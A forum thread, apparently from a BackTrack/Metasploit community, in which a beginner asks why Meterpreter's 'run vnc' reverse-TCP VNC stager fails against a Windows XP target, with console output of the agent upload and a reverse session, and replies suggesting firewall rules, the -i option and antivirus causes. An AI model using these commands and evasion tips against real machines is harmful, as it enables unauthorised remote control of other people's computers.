meterpreter vnc won't open

[Scalplexis]

Hey,

I'm fairly new to BT and I have started to figure out how everything works but I'm having a problem with the vnc in the meterpreter. I have successfully made the target run the payload and I can enter the session and start messing around with the meterpreter. But now when I try to remote control the targets desktop with vnc I do something wrong.

When I put in 'run vnc' the following comes up:

meterpreter > run vnc[*] Creating a VNC reverse tcp stager: LHOST=192.168.2.117 LPORT=4545)[*] Running payload handler[*] VNC stager executable 73802 bytes long[*] Uploaded the VNC agent to C:\DOCUME~1\Jakob\LOCALS~1\Temp\gKtLGJdwawZ.exe (must be deleted manually)[*] Executing the VNC agent with endpoint 192.168.2.117:4545...
meterpreter >

There it just stops. On my target PC (its XP SP2 btw) ZoneAlarm gives me a message that ApacheBench is trying to access the internet, but even when I accept, nothing else happends.

I get a little farther though when I put in 'run vnc -p 4443', with 4443 being the port I used when starting up SET.

This is what I get:

meterpreter > run vnc -p 4443[*] Creating a VNC reverse tcp stager: LHOST=192.168.2.117 LPORT=4443)[*] Running payload handler[*] VNC stager executable 73802 bytes long[*] Uploaded the VNC agent to C:\DOCUME~1\Jakob\LOCALS~1\Temp\tfcoLgPt.exe (must be deleted manually)[*] Executing the VNC agent with endpoint 192.168.2.117:4443...
meterpreter > [*] Sending stage (749056 bytes) to 192.168.2.118[*] Meterpreter session 10 opened (192.168.2.117:4443 -> 192.168.2.118:3742) at 2011-08-01 19:53:49 +0200

Now when I exit the current session and enter the just created session 10, nothing else has changed..

What am I doing wrong? Maybe somebody can help me . I'm using BT5 GNOME 32 installed on my HDD.

Thank you!

[scottm99]

Can you use other meterpreter functionality ok? If so, I think ZoneAlarm is knocking your vnc connection down. Try putting a rule in ZoneAlarm to allow vnc over your target port & see what happens.

[jnpa123]

i guess an av is deleting the .exe file it uploads...try using -i option

[2901119]

I have this same problem on windows 7, without zone alarm. Last month run vnc was working fine, then all of a sudden stopped. Everything else in metasploit is working fine on my end though.

[scottm99]

I wonder if it's a VNC problem, a meterpreter problem, or maybe both? Could be patches on the victim machines, too? Are you folks running the MSF 4.0 version, or an earlier one?

If you can rule out victim machine patches, I'd try reposting your questions/problems on the metasploit mailing list...and see what the experts there think.

[Scalplexis]

I have tried closing ZoneALarm all together, with no success. And besides, whats the fun in disabling the vicitms firewall.

Can you use other meterpreter functionality ok?

Yes, I can open a shell, enable/disable keyboard and mouse, take screenshots and all the other stuff. Its just the vnc, frankly one of the most fun features, that are not working out for me. I'll try it out on a another target though to see if its me that is doing it wrong or if its the fault of the vicitms computer.